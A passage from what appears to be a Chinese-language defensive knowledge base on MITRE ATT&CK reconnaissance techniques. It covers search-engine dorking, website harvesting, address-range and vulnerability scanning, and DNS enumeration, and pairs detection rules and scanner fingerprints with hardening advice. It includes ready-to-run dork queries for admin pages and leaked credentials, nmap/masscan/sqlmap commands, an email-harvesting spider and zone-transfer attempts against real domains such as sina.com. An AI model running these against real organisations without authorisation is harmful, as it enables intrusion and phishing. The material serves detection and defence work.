重点监控攻击者生命周期的后续阶段(如初始访问T1566、有效账户T1078),通过异常邮件或登录行为间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1593-001 - Github Hacking | Google Hacking - 信息搜集篇 - 全流程信息收集方法总结 ================================================ FILE: Windows/01侦察/T1593.002-搜索开放的域和网站-搜索引擎.md ================================================ # T1593.002-搜索开放的域和网站-搜索引擎 ## 描述 攻击者在入侵目标组织之前,可能通过搜索引擎收集目标的网络信息。搜索引擎(如Google、Bing、百度)通过爬取在线站点并索引内容,提供丰富的公开信息。攻击者可利用专门的搜索语法(如Google Hacking)查询目标的敏感信息,例如子域名、泄露的凭据、配置文件、后台地址或网络设备信息。这些信息可帮助攻击者了解目标的网络架构、关键资产或潜在漏洞。 攻击者可能通过以下方式使用搜索引擎: - **Google Hacking**:使用高级搜索语法(如`intitle`、`inurl`)查找目标网站的敏感页面或文件。 - **公开信息搜刮**:搜索与目标相关的公开文档、员工信息或业务关系。 - **社会工程结合**:利用搜索到的邮箱或联系信息发起针对性钓鱼攻击。 - **泄露数据挖掘**:查找Pastebin或其他平台上泄露的与目标相关的敏感信息。 收集到的信息可能为后续攻击活动做准备,例如钓鱼(T1566)、搜索开放技术数据库(T1596)、建立运营资源(T1583/T1584)或通过有效账户(T1078)或钓鱼实现初始访问。 ## 测试案例 以下是模拟攻击者使用搜索引擎收集信息的常见方法和工具: ### 1. **Google Hacking 基础** 利用Google高级搜索语法查找目标的敏感信息: - **intitle**:搜索网页标题中的关键词。 ```bash intitle:"admin login" site:target.com # 查找目标网站标题中包含“admin login”的页面 ``` - **inurl**:搜索URL中的关键词。 ```bash inurl:(admin | login) site:target.com # 查找目标网站URL中包含“admin”或“login”的页面 ``` - **intext**:搜索网页正文中的关键词。 ```bash intext:(password | admin) site:target.com # 查找网页正文包含“password”或“admin”的页面 ``` - **filetype**:搜索特定类型的文件。 ```bash filetype:pdf site:target.com "staff directory" # 查找目标网站上的员工目录PDF ``` - **site**:限制搜索范围到特定网站。 ```bash site:*.target.com -inurl:(signup | login) # 查找目标网站的所有子域名,排除注册或登录页面 ``` - **allinurl**:搜索URL中包含多个关键词。 ```bash allinurl:(manage system) site:target.com # 查找URL同时包含“manage”和“system”的页面 ``` ### 2. **Google Hacking 进阶** - **查找后台地址**: ```bash site:target.com inurl:(login | admin | manage | member | admin_login | login_admin | system | user | main | cms) # 查找可能的后台登录页面 ``` - **查找泄露凭据**: ```bash site:*.target.com intext:(admin | username | password | system | login) # 查找包含敏感信息的页面 ``` - **查找可注入点**: ```bash site:target.com inurl:(aspx | jsp | php | asp) # 查找可能存在SQL注入或XSS漏洞的动态页面 ``` - **查找上传漏洞**: ```bash site:target.com inurl:(file | load | editor | Files) # 查找文件上传页面 ``` - **查找网络设备**: ```bash intext:"WEB Management Interface" site:target.com # 查找暴露的网络设备管理界面 ``` - **查找数据库文件**: ```bash site:target.com filetype:(mdb | sql | bak) # 查找暴露的数据库备份文件 ``` ### 3. **其他搜索引擎** - **百度**:使用类似Google Hacking的语法,适合国内目标。 ```bash site:target.com 后台管理 # 查找包含“后台管理”的页面 ``` - **Bing**:支持`inurl`、`site`等语法。 ```bash site:target.com inurl:login # 查找登录页面 ``` - **Shodan Search** (): 结合搜索引擎查询网络设备。 ```bash org:TargetCorp port:80 # 查找目标组织的Web服务器 ``` ### 4. **案例场景** - 使用Google搜索`site:target.com filetype:pdf "employee list"`,发现员工名单PDF,提取邮箱用于钓鱼。 - 使用`site:target.com inurl:admin`找到未受保护的后台登录页面,尝试默认凭据登录。 - 参考案例:,通过Google Hacking发现目标网站的敏感配置文件。 ## 检测日志 搜索引擎信息收集多通过公开渠道进行,难以直接监测。以下是可能的日志来源: - **Web服务器日志**: - 记录异常的HTTP请求,如高频爬取、异常User-Agent或Referer。 - **WAF日志**: - 检测被WAF拦截的爬虫请求或异常搜索模式。 - **DNS日志**: - 检测针对子域名的异常查询,可能与搜索引擎发现的子域名相关。 - **邮件服务器日志**: - 监控钓鱼邮件或社会工程攻击,可能与搜索到的邮箱信息相关。 ## 测试复现 以下是模拟搜索引擎信息收集的步骤: 1. **环境准备**: - 在授权测试环境中搭建目标网站,包含公开页面、PDF文档或子域名。 2. **搜索执行**: - 使用Google搜索: ```bash site:target.com inurl:admin site:target.com filetype:pdf "contact" ``` - 使用百度搜索: ```bash site:target.com 管理后台 ``` - 使用Shodan查询: ```bash org:TargetCorp port:443 ``` 3. **爬虫模拟**: - 使用Scrapy爬取目标网站: ```python import scrapy class TargetSpider(scrapy.Spider): name = "target_spider" start_urls = ["http://www.target.com"] def parse(self, response): emails = response.xpath("//a[contains(@href, 'mailto:')]/text()").getall() yield {"emails": emails} ``` - 运行:`scrapy crawl target_spider -o emails.json` 4. **结果分析**: - 整理收集到的邮箱、子域名或敏感文件,分析潜在攻击入口。 5. **日志收集**: - 收集Web服务器、WAF和DNS日志,验证爬虫或搜索痕迹。 ## 测试留痕 搜索引擎信息收集可能留下以下痕迹: - **Web服务器日志**:高频HTTP请求、异常User-Agent(如`Googlebot`、`python-requests`)或爬虫模式(如访问robots.txt)。 - **WAF/IDS告警**:触发爬虫检测规则或高频请求限制。 - **DNS日志**:子域名枚举导致的异常DNS查询。 - **邮件服务器日志**:钓鱼邮件或社会工程交互记录。 ## 检测规则/思路 由于搜索引擎信息收集多发生在目标组织监测范围之外,检测需结合多种手段: - **Web流量监控**: - 使用WAF(如Cloudflare、ModSecurity)检测异常爬虫行为,匹配常见User-Agent(如`Googlebot`、`Scrapy`)。 - 示例WAF规则: ```nginx if ($http_user_agent ~* "(Scrapy|python-requests|bot)") { return 403; } ``` - 监控高频HTTP请求或异常路径访问(如`/admin`、`.pdf`)。 - **DNS查询监控**: - 记录针对子域名的异常DNS查询,检测可能的子域名发现行为。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露敏感信息。 - 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的敏感数据。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的爬虫IP或钓鱼模式。 - 使用Google Alerts监控与组织相关的公开信息泄露。 ## 建议 - **减少信息暴露**: - 限制网站上公开的敏感信息(如员工邮箱、PDF文档)。 - 使用robots.txt限制搜索引擎爬取敏感页面(如`/admin`)。 - 定期检查搜索引擎缓存(如Google Cache)或存档网站(如Wayback Machine),请求删除泄露信息。 - **网站安全加固**: - 配置WAF保护网站,拦截异常爬虫或高频请求。 - 实施MFA(多因素认证)保护后台登录页面。 - 定期审计子域名,移除不必要的或未受保护的子域名。 - **主动监控与响应**: - 使用Google Alerts或类似工具监控与组织相关的公开信息。 - 部署Web日志分析工具(如Splunk、ELK),监控异常爬取行为。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的搜索引擎侦察活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1566、有效账户T1078),通过异常流量或钓鱼行为间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1593-002 - Github Hacking | Google Hacking - 信息搜集篇 - Google Hacking 总结 - 信息收集之 Google Hacking 的简单用法 ================================================ FILE: Windows/01侦察/T1594-搜索目标组织所拥有的网站.md ================================================ # T1594-搜索受害者所拥有的网站 ## 描述 攻击者在实施攻击前,可能通过搜索目标组织拥有的网站收集可用于目标定位的信息。这些网站可能包含各种关键信息,例如部门或分部的名称、物理位置、员工数据(姓名、角色、联系方式如电子邮件或电话)、业务运营细节以及与合作伙伴或客户的关系信息。攻击者可利用这些信息构建目标的组织架构图、识别关键人员或发现潜在的攻击入口。 攻击者可能通过以下方式收集网站信息: - **公开信息搜刮**:使用搜索引擎(如Google、Bing)或爬虫工具(如Scrapy、BeautifulSoup)提取网站上的公开信息。 - **社会工程**:通过钓鱼或伪装身份诱导员工泄露网站管理凭据或敏感信息。 - **子域名枚举**:结合DNS查询或子域名爆破工具(如dnsenum、Sublist3r)发现目标的关联网站。 - **档案和泄露数据**:分析存档网站(如Wayback Machine)或公开泄露数据(如Pastebin)中的历史信息。 收集到的信息可能为后续攻击活动做准备,例如钓鱼(T1566)、搜索开放技术数据库(T1596)、建立运营资源(T1583/T1584)或通过信任关系(T1199)或钓鱼实现初始访问。 ## 测试案例 以下是模拟攻击者搜索目标组织网站信息的常见方法和工具: - **搜索引擎利用**: - 使用Google高级搜索语法(如`site:*.target.com "contact us"`)查找目标网站的联系信息、员工名单或部门详情。 - 示例:`site:*.gov.cn filetype:pdf "staff directory"` 搜索政府网站上的员工目录PDF。 - **爬虫工具**: - **Scrapy** (): 编写Python爬虫脚本,提取目标网站上的员工邮箱或组织结构。 ```python import scrapy class TargetSpider(scrapy.Spider): name = "target_spider" start_urls = ["http://www.target.com"] def parse(self, response): emails = response.xpath("//a[contains(@href, 'mailto:')]/text()").getall() for email in emails: yield {"email": email} ``` - **BeautifulSoup** (): 解析目标网站的HTML,提取联系人或部门信息。 - **子域名枚举**: - **Sublist3r** (): 枚举目标域名的子域名,识别隐藏的网站或服务。 ```bash sublist3r -d target.com -o subdomains.txt ``` - **dnsenum**: 结合DNS查询和子域名爆破,发现目标的关联网站。 ```bash dnsenum -f dns.txt -dnsserver 8.8.8.8 target.com -o target.xml ``` - **存档网站分析**: - **Wayback Machine** (): 查看目标网站的历史快照,提取已删除的员工信息或组织架构。 - **社会工程**: - 伪装成客户或合作伙伴发送钓鱼邮件,诱导员工泄露网站管理凭据或内部信息。 - 在社交媒体(如LinkedIn、微博)收集员工公开的联系方式或部门信息。 - **案例场景**: - 使用Google搜索`site:target.com "contact us"`,发现目标网站的管理员邮箱,发起针对性钓鱼攻击。 - 通过Wayback Machine恢复目标网站的历史页面,获取已删除的员工名单和联系方式。 - 使用Sublist3r枚举子域名,发现未受保护的内部门户(如intranet.target.com),作为攻击入口。 ## 检测日志 搜索受害者网站信息的活动多通过公开渠道进行,难以直接监测。以下是可能的日志来源: - **Web服务器日志**: - 记录异常的HTTP请求,如高频爬取、特定User-Agent或异常Referer。 - **WAF日志**: - 检测被WAF拦截的爬虫请求或异常访问模式。 - **邮件服务器日志**: - 监控钓鱼邮件或社会工程攻击,可能与网站信息收集相关。 - **DNS日志**: - 检测针对子域名的异常查询,可能与子域名枚举相关。 ## 测试复现 以下是模拟搜索受害者网站信息的步骤: 1. **环境准备**: - 在授权测试环境中搭建目标网站,包含公开的联系页面、员工信息或PDF文档。 2. **信息收集**: - 使用Google搜索`site:target.com "contact us"`提取邮箱和部门信息。 - 运行Sublist3r枚举子域名: ```bash sublist3r -d target.com -o subdomains.txt ``` - 使用Scrapy爬取目标网站的联系页面: ```bash scrapy crawl target_spider -o emails.json ``` - 查询Wayback Machine,提取目标网站的历史快照。 3. **社会工程模拟**: - 在红队测试中,伪装成客户发送钓鱼邮件,诱导泄露网站管理信息。 4. **结果分析**: - 整理收集到的邮箱、子域名和组织信息,分析潜在攻击入口。 5. **日志收集**: - 收集Web服务器、WAF和DNS日志,验证爬虫或子域名枚举的痕迹。 ## 测试留痕 搜索网站信息的活动可能留下以下痕迹: - **Web服务器日志**:高频HTTP请求、异常User-Agent(如`Scrapy/2.7`)或爬虫模式(如访问robots.txt)。 - **WAF/IDS告警**:触发爬虫检测规则或高频请求限制。 - **DNS日志**:子域名枚举导致的异常DNS查询。 - **邮件服务器日志**:钓鱼邮件或社会工程交互记录。 ## 检测规则/思路 由于网站信息收集多发生在目标组织监测范围之外,检测需结合多种手段: - **Web流量监控**: - 使用WAF(如Cloudflare、ModSecurity)检测异常爬虫行为,匹配常见爬虫User-Agent(如`Scrapy`、`python-requests`)。 - 示例WAF规则: ```nginx if ($http_user_agent ~* "(Scrapy|python-requests|bot)") { return 403; } ``` - 监控高频HTTP请求或异常路径访问(如访问不存在的页面)。 - **DNS查询监控**: - 记录针对子域名的异常DNS查询,检测可能的子域名爆破。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露网站相关信息。 - 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的员工数据或网站信息。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的爬虫IP或社会工程模式。 - 定期检查Wayback Machine,评估历史页面泄露的敏感信息。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联Web、DNS和邮件日志,检测异常爬取或子域名枚举模式。 ## 建议 - **减少信息暴露**: - 限制网站上公开的敏感信息,如员工姓名、邮箱或部门详情。 - 使用robots.txt限制爬虫访问敏感页面(如联系页面)。 - 定期审查存档网站(如Wayback Machine),请求删除泄露的敏感信息。 - **网站安全加固**: - 配置WAF保护网站,拦截异常爬虫或高频请求。 - 实施MFA(多因素认证)保护网站管理后台。 - 定期审计子域名,移除不必要的或未受保护的子域名。 - **主动监控与响应**: - 使用Google Alerts监控与组织相关的公开信息泄露。 - 部署Web日志分析工具(如Splunk、ELK),监控异常爬取行为。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的网站信息收集活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1566、信任关系T1199),通过异常流量或钓鱼行为间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1594 - 全流程信息收集方法总结 - 渗透测试之信息收集(二) ================================================ FILE: Windows/01侦察/T1595.001-主动扫描-扫描地址段.md ================================================ # T1595.001-主动扫描_扫描地址段 ## 描述 攻击者在实施攻击前,可能通过扫描IP地址块收集目标组织的网络信息。公有IP地址通常以地址块或连续地址段分配给组织,攻击者可通过扫描这些地址段识别活跃主机、开放端口、服务版本或其他网络工件(如服务器Banner)。扫描范围从简单的ICMP Ping到复杂的端口扫描或服务指纹识别不等。 这些信息可帮助攻击者了解目标的网络架构、活跃设备及潜在入口点。扫描结果可能触发后续攻击活动,例如搜索开放网站/域(T1593)、搜索公开技术数据库(T1596)、建立运营资源(T1583/T1584)或通过外部远程服务(T1133)实现初始访问。 ## 测试案例 以下是模拟攻击者扫描地址段的常见工具和方法: - **常见扫描器**: - **Nmap** (): 功能强大的网络扫描工具,支持Ping扫描、端口扫描和服务指纹识别。 ```bash sudo nmap -sP -PI -PT 192.168.1.0/24 # Ping扫描网段,检测活跃主机 sudo nmap -sS -p- 192.168.1.0/24 # TCP SYN扫描网段,检测开放端口 sudo nmap -sV 192.168.1.0/24 # 扫描服务版本和Banner ``` - **Masscan** (): 高效的大规模IP扫描工具,适合快速扫描大型地址段。 ```bash masscan 192.168.1.0/24 -p1-65535 --rate=1000 # 扫描所有端口,设置扫描速率 ``` - **Zmap** (): 高性能网络扫描工具,专注于快速主机发现。 ```bash zmap -p 80 192.168.1.0/24 -o results.txt # 扫描网段的80端口 ``` - **Angry IP Scanner** (): 轻量级GUI工具,适合扫描IP范围和端口。 - **案例场景**: - 使用Nmap扫描目标组织的IP段(如`10.0.0.0/24`),发现活跃主机和开放的RDP端口(3389)。 - 使用Masscan快速扫描大型IP块,识别暴露的Web服务器(80/443端口)并提取Banner信息。 - 参考案例:,通过扫描器指纹识别攻击者的扫描行为。 ## 检测日志 扫描地址段的活动可能在以下日志中留下痕迹: - **网络流量日志**: - 记录高频ICMP请求(Ping)、TCP SYN包或UDP探测。 - **防火墙/IDS日志**: - 检测来自单一IP的高频端口扫描或异常连接尝试。 - **Web服务器日志**: - 记录针对Web服务的异常HTTP请求,可能与Banner抓取相关。 - **DNS日志**: - 检测与扫描相关的反向DNS查询(PTR记录)。 - **蜜罐日志**: - 记录访问蜜罐的扫描流量,表明攻击者可能在扫描地址段。 ## 测试复现 以下是模拟扫描地址段的步骤: 1. **环境准备**: - 在授权测试环境中配置目标网络(如192.168.1.0/24),包含多个主机和开放端口。 2. **扫描执行**: - 使用Nmap进行Ping扫描: ```bash sudo nmap -sP -PI -PT 192.168.1.0/24 ``` - 使用Masscan扫描所有端口: ```bash masscan 192.168.1.0/24 -p1-65535 --rate=1000 ``` - 使用Zmap扫描特定端口: ```bash zmap -p 80 192.168.1.0/24 -o results.txt ``` 3. **结果分析**: - 记录活跃主机、开放端口和服务版本,分析潜在入口点。 4. **日志收集**: - 收集防火墙、IDS和Web服务器日志,验证扫描留痕。 ## 测试留痕 扫描地址段通常在目标系统留下以下痕迹: - **ICMP流量**:高频Ping请求(ICMP Echo Request/Reply)。 - **TCP/UDP流量**:大量SYN包、RST包或UDP探测包,表明端口扫描。 - **Web服务器日志**:异常HTTP请求(如404/403响应)或Banner抓取请求。 - **防火墙/IDS告警**:触发扫描检测规则,如高频连接尝试。 - **蜜罐记录**:访问蜜罐的流量,表明攻击者扫描了未分配的IP地址。 ## 检测规则/思路 由于扫描地址段活动可能发生在目标组织监测范围之外,检测需结合多种手段: - **网络流量监控**: - 使用IDS/IPS(如Snort、Suricata)检测高频ICMP、TCP SYN或UDP流量。 - 配置规则匹配扫描器指纹,如Nmap的User-Agent(`Nmap Scripting Engine`)。 - 示例Snort规则: ```snort alert icmp any any -> $HOME_NET any (msg:"Ping Scan Detected"; icmp_type 8; threshold: type threshold, track by_src, count 50, seconds 60; sid:1000001;) alert tcp any any -> $HOME_NET any (msg:"TCP SYN Scan Detected"; flags:S; threshold: type threshold, track by_src, count 100, seconds 60; sid:1000002;) ``` - **蜜罐部署**: - 部署低交互蜜罐(如Cowrie、Dionaea)在未分配的IP地址上,记录扫描行为。 - 分析蜜罐日志,检测同一源IP对多个IP的访问,表明地址段扫描。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联防火墙、IDS和Web日志,检测高频扫描模式。 - 监控反向DNS查询(PTR),可能与扫描器验证主机名相关。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的扫描器IP或User-Agent。 - 监控已知恶意IP的流量,关联潜在的扫描活动。 ## 建议 - **减少暴露面**: - 关闭不必要的开放端口和服务(如RDP、SSH)。 - 使用CDN或WAF隐藏服务器真实IP,减少扫描暴露。 - 配置防火墙限制对敏感端口的外部访问。 - **网络安全加固**: - 实施IP白名单,仅允许授权IP访问关键服务。 - 使用强身份验证(如MFA)保护暴露的服务。 - 定期更新服务器软件,修复已知漏洞。 - **主动监控与响应**: - 部署IDS/IPS监控异常扫描流量,设置告警规则。 - 使用Shodan或Censys定期自查组织的暴露资产,修复配置问题。 - 部署蜜罐捕获扫描行为,分析攻击者的IP和模式。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的扫描活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1133、漏洞利用T1190),通过异常流量或登录行为间接发现扫描活动。 ## 参考资料 - MITRE ATT&CK: T1595-001 - 常见扫描器或自动化工具的特征(指纹) - 渗透测试之信息收集DNS篇 ================================================ FILE: Windows/01侦察/T1595.002-主动扫描-漏洞扫描.md ================================================ # T1595-002-主动扫描_漏洞扫描 ## 描述 攻击者在实施攻击前,可能通过漏洞扫描识别目标的潜在弱点。漏洞扫描通常针对目标主机或应用程序,检查其配置、软件版本或已知漏洞(如CVE)。这些扫描可能涉及收集服务器Banner、开放端口、操作系统指纹或其他网络工件,以识别可利用的漏洞。攻击者可能使用自动化工具(如Nuclei、AWVS、Xray)或手动技术进行扫描。 收集到的信息可能为后续攻击活动做准备,例如搜索开放网站/域(T1593)、搜索公开技术数据库(T1596)、建立运营资源(T1583/T1584)或通过面向公众应用的漏洞利用(T1190)实现初始访问。 ## 测试案例 以下是模拟攻击者进行漏洞扫描的常见工具和方法: - **常见漏洞扫描器**: - **Nuclei** (): 基于模板的自动化漏洞扫描工具,支持检测Web漏洞、配置错误等。 - **Acunetix Web Vulnerability Scanner (AWVS)** (): 专注于Web应用的漏洞扫描,如SQL注入、XSS。 - **Xray** (): 轻量级Web漏洞扫描工具,适合快速扫描和POC验证。 - **Nessus** (): 全面的漏洞扫描工具,覆盖网络设备和应用。 - **WebInspect** (): 企业级Web漏洞扫描工具。 - **RSAS (绿盟极光)** (): 国内漏洞扫描工具,专注于网络和Web安全。 - **Sqlmap** (): 专注于SQL注入漏洞的自动化扫描工具。 - **Nmap** (): 支持漏洞扫描脚本(如`nmap --script vuln`)检测常见漏洞。 - **案例场景**: - 使用Nuclei扫描目标Web服务器,检测是否存在已知的Apache Struts漏洞(如CVE-2017-5638)。 - 使用AWVS扫描目标网站,发现未修复的XSS漏洞并提取服务器Banner。 - 使用Sqlmap探测目标的数据库接口,确认SQL注入漏洞并尝试数据泄露。 - 参考案例:,通过扫描器指纹识别攻击者的扫描行为。 ## 检测日志 漏洞扫描活动通常在以下日志中留下痕迹: - **HTTP流量日志**: - 记录异常的HTTP请求,如高频GET/POST请求、异常URL或特定扫描器指纹。 - **Web服务器日志**: - 检测包含扫描器特征的请求(如AWVS的`acunetix_wvs_security_test`)。 - **防火墙/IDS日志**: - 记录高频端口扫描、异常TCP/UDP流量或已知扫描器IP。 - **WAF日志**: - 检测被WAF拦截的恶意请求,如SQL注入或XSS测试payload。 - **网络流量日志**: - 监控异常的流量模式,如来自单一IP的密集扫描或Banner抓取。 ## 测试复现 以下是模拟漏洞扫描的步骤: 1. **环境准备**: - 在授权测试环境中搭建目标Web服务器(如Apache、Nginx)或应用。 2. **扫描执行**: - 使用Nuclei运行命令:`nuclei -u http://target.com -t cves/`,扫描已知CVE漏洞。 - 使用AWVS配置扫描任务,针对目标网站执行全面漏洞扫描。 - 使用Sqlmap运行命令:`sqlmap -u http://target.com/login --batch`,测试SQL注入。 - 使用Nmap运行命令:`nmap --script vuln target.com`,检测常见漏洞。 3. **结果分析**: - 记录扫描结果,分析目标的开放端口、软件版本和潜在漏洞。 4. **日志收集**: - 在目标服务器上收集HTTP日志、WAF日志和防火墙日志,验证扫描留痕。 ## 测试留痕 漏洞扫描通常在目标系统留下以下痕迹: - **HTTP请求**:异常URL(如`acunetix_wvs_security_test`)、特定User-Agent或Header。 - **网络流量**:高频端口扫描、异常TCP/UDP包或Banner抓取请求。 - **WAF/IDS告警**:触发规则的恶意payload或扫描行为。 - **服务器日志**:记录来自单一IP的密集请求或错误响应(如404、403)。 ## 检测规则/思路 以下是检测漏洞扫描的规则和特征: ### 常见扫描器指纹 - **Acunetix Web Vulnerability Scanner (AWVS)**: ```yaml URL: - acunetix-wvs-test-for-some-inexistent-file - by_wvs - acunetix_wvs_security_test - acunetix - acunetix_wvs - acunetix_test Headers: - Acunetix-Aspect-Password: <任意值> - Cookie: acunetixCookie - Location: acunetix_wvs_security_test - X-Forwarded-Host: acunetix_wvs_security_test - X-Forwarded-For: acunetix_wvs_security_test - Host: acunetix_wvs_security_test - Cookie: acunetix_wvs_security_test - Accept: acunetix/wvs - Origin: acunetix_wvs_security_test - Referer: acunetix_wvs_security_test - Via: acunetix_wvs_security_test - Accept-Language: acunetix_wvs_security_test - Client-IP: acunetix_wvs_security_test - HTTP_AUTH_PASSWD: acunetix - User-Agent: acunetix_wvs_security_test - Acunetix-Aspect: <任意值> - Acunetix-Aspect-Queries: <任意值> Body: - acunetix_wvs_security_test - acunetix ``` - **Netsparker**: ```yaml URL: - netsparker - Netsparker - ns: netsparker Headers: - X-Scanner: Netsparker - Location: Netsparker - Accept: netsparker/check - Cookie: netsparker - Cookie: NETSPARKER Body: - netsparker ``` - **AppScan**: ```yaml URL: - Appscan Headers: - Content-Type: Appscan - Content-Type: AppScanHeader - Accept: Appscan - User-Agent: Appscan Body: - Appscan ``` - **WebInspect**: ```yaml URL: - HP404 Headers: - User-Agent: HP ASC - Cookie: webinspect - X-WIPP: <任意值> - X-Request-Memo: <任意值> - X-Scan-Memo: <任意值> - Cookie: CustomCookie - X-RequestManager-Memo: <任意值> Body: - Webinspect ``` - **RSAS (绿盟极光)**: ```yaml URL: - nsfocus Headers: - User-Agent: Rsas ``` - **Nessus**: ```yaml URL: - nessus - Nessus Headers: - X-Forwarded-For: nessus - Referer: nessus - Host: nessus Body: - nessus - Nessus ``` - **WebReaver**: ```yaml Headers: - User-Agent: WebReaver ``` - **Sqlmap**: ```yaml URL: - sqlmap Headers: - User-Agent: sqlmap/ Body: - sqlmap ``` - **Nmap**: ```yaml Headers: - User-Agent: Nmap Scripting Engine; https://nmap.org/book/nse.html ``` ### 检测思路 - **HTTP流量分析**: - 使用WAF或IDS(如Snort、Suricata)检测扫描器特征(如`acunetix_wvs_security_test`、`sqlmap`)。 - 监控异常的HTTP请求模式,如高频404/403响应或特定User-Agent。 - **网络流量监控**: - 检测来自单一IP的高频端口扫描或异常TCP/UDP流量。 - 使用NetFlow或Zeek分析流量,识别扫描器的指纹或行为模式。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的扫描器IP或User-Agent。 - 监控已知恶意IP的流量,关联潜在的扫描活动。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联Web、防火墙和WAF日志,检测异常请求或扫描模式。 - 监控高频错误响应(如404、403),可能表明扫描器在探测不存在的资源。 ## 建议 - **减少暴露面**: - 关闭不必要的开放端口和服务(如RDP、SSH)。 - 使用CDN或WAF隐藏服务器真实IP,减少扫描暴露。 - 定期更新服务器软件和Web应用,修复已知漏洞。 - **网络安全加固**: - 配置WAF规则,拦截常见扫描器指纹(如`acunetix`、`sqlmap`)。 - 实施IP白名单,限制对敏感端口或管理界面的访问。 - 使用强身份验证(如MFA)保护公开服务。 - **主动监控与响应**: - 部署IDS/IPS监控异常扫描流量,设置告警规则。 - 使用Shodan或Censys定期自查组织的暴露资产,修复配置问题。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的扫描行为。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1190、钓鱼T1566),通过异常流量或漏洞利用行为间接发现扫描活动。 ## 参考资料 - MITRE ATT&CK: T1595-002 - 常见扫描器或自动化工具的特征(指纹) - 渗透测试之信息收集DNS篇 ================================================ FILE: Windows/01侦察/T1596.001-搜索开放的技术数据库-DNS_被动DNS.md ================================================ # T1596-001-搜索开放的技术数据库-DNS/被动DNS ## 描述 攻击者在入侵目标组织之前,可能通过搜索公开的DNS或被动DNS数据库收集目标的网络信息。DNS数据包含域名解析信息,如A记录(IP地址)、MX记录(邮件服务器)、NS记录(名称服务器)、TXT记录等。被动DNS数据库记录历史DNS解析数据,可揭示目标的子域名、托管服务提供商和网络架构。这些信息可帮助攻击者识别目标的网络资产、关键服务或潜在漏洞。 攻击者可能通过以下方式收集DNS信息: - **被动DNS查询**:利用公开数据库(如SecurityTrails、DNS Dumpster)查询目标的DNS历史记录。 - **主动DNS查询**:使用工具(如dig、nslookup)直接查询目标域名的DNS记录。 - **DNS区域传输**:尝试通过DNS服务器的区域传输(AXFR)获取完整的DNS记录。 - **DNS字典爆破**:使用子域名字典爆破工具(如dnsenum、dnsmap)枚举目标的子域名。 - **社会工程**:通过钓鱼或伪装身份诱导员工泄露DNS管理信息。 收集到的DNS信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或通过外部远程服务(T1133)或钓鱼(T1566)实现初始访问。 ## 测试案例 以下是模拟攻击者收集DNS/被动DNS信息的常见方法和工具: ### 1. **主动DNS查询** - **nslookup**:查询目标域名的A、MX、NS记录或反向解析(PTR)。 ```bash nslookup > set type=A # 查询A记录(IP地址) > sina.com > set type=MX # 查询MX记录(邮件服务器) > sina.com > set type=NS # 查询NS记录(名称服务器) > sina.com > set type=PTR # 反向查询IP对应的域名 > 66.102.251.24 > server 8.8.8.8 # 指定DNS服务器为Google Public DNS > www.sina.com > set type=ANY # 查询所有类型记录 > www.sina.com ``` - **dig**:查询目标域名的DNS记录,支持筛选和追踪。 ```bash dig sina.com ANY @8.8.8.8 # 查询所有记录,使用Google DNS dig +noall +answer mail.163.com ANY # 仅显示查询结果 dig -x 66.102.251.24 # 反向查询PTR记录 dig +trace www.sina.com # 追踪DNS解析路径 dig +noall +answer txt chaos VERSION.BIND @mail.163.com # 查询DNS服务器BIND版本 ``` ### 2. **DNS区域传输** - 尝试通过区域传输(AXFR)获取目标域名的完整DNS记录。 ```bash dig @ns1.sina.com sina.com AXFR # 尝试对sina.com发起区域传输 host -T -l sina.com ns1.sina.com # 使用host命令进行区域传输 ``` ### 3. **DNS字典爆破** - 使用子域名字典爆破工具枚举目标的子域名。 - **dnsenum**: ```bash sudo apt install dnsenum dnsenum -f dns.txt -dnsserver 8.8.8.8 sina.com -o sina.xml # -f: 指定字典文件,-o: 输出结果到XML文件 ``` - **dnsmap**: ```bash sudo apt install dnsmap dnsmap sina.com -w dns.txt # -w: 指定字典文件 ``` ### 4. **被动DNS查询** - **在线工具**: - **SecurityTrails** (): 查询目标域名的历史DNS记录和子域名。 - **DNS Dumpster** (): 获取DNS记录和网络映射。 - **Censys** (): 分析DNS数据和关联IP。 - **PassiveTotal** (): 提供被动DNS和威胁情报。 - **案例场景**: - 使用SecurityTrails查询`sina.com`的子域名,发现未受保护的测试环境(如test.sina.com)。 - 通过DNS Dumpster获取目标的MX记录,识别邮件服务器并发起钓鱼攻击。 ### 5. **WHOIS结合DNS** - 查询DNS注册信息(如注册人、邮箱、NS服务器)。 ```bash sudo apt install whois whois sina.com # 查询域名注册信息 whois -h whois.apnic.net 66.102.251.24 # 查询IP归属 ``` - **在线WHOIS查询**: - AFRINIC () - APNIC () - ARIN () - IANA () - ICANN Lookup () - LACNIC () - NRO () - RIPE () - InterNic () ## 检测日志 DNS/被动DNS信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源: - **DNS服务器日志**: - 记录异常的DNS查询模式,如高频查询、批量子域名查询或区域传输尝试。 - **网络流量日志**: - 检测外部主机对组织DNS服务器的异常查询(如AXFR请求)。 - **Web服务器日志**: - 监控与DNS管理平台相关的异常登录尝试或HTTP请求。 - 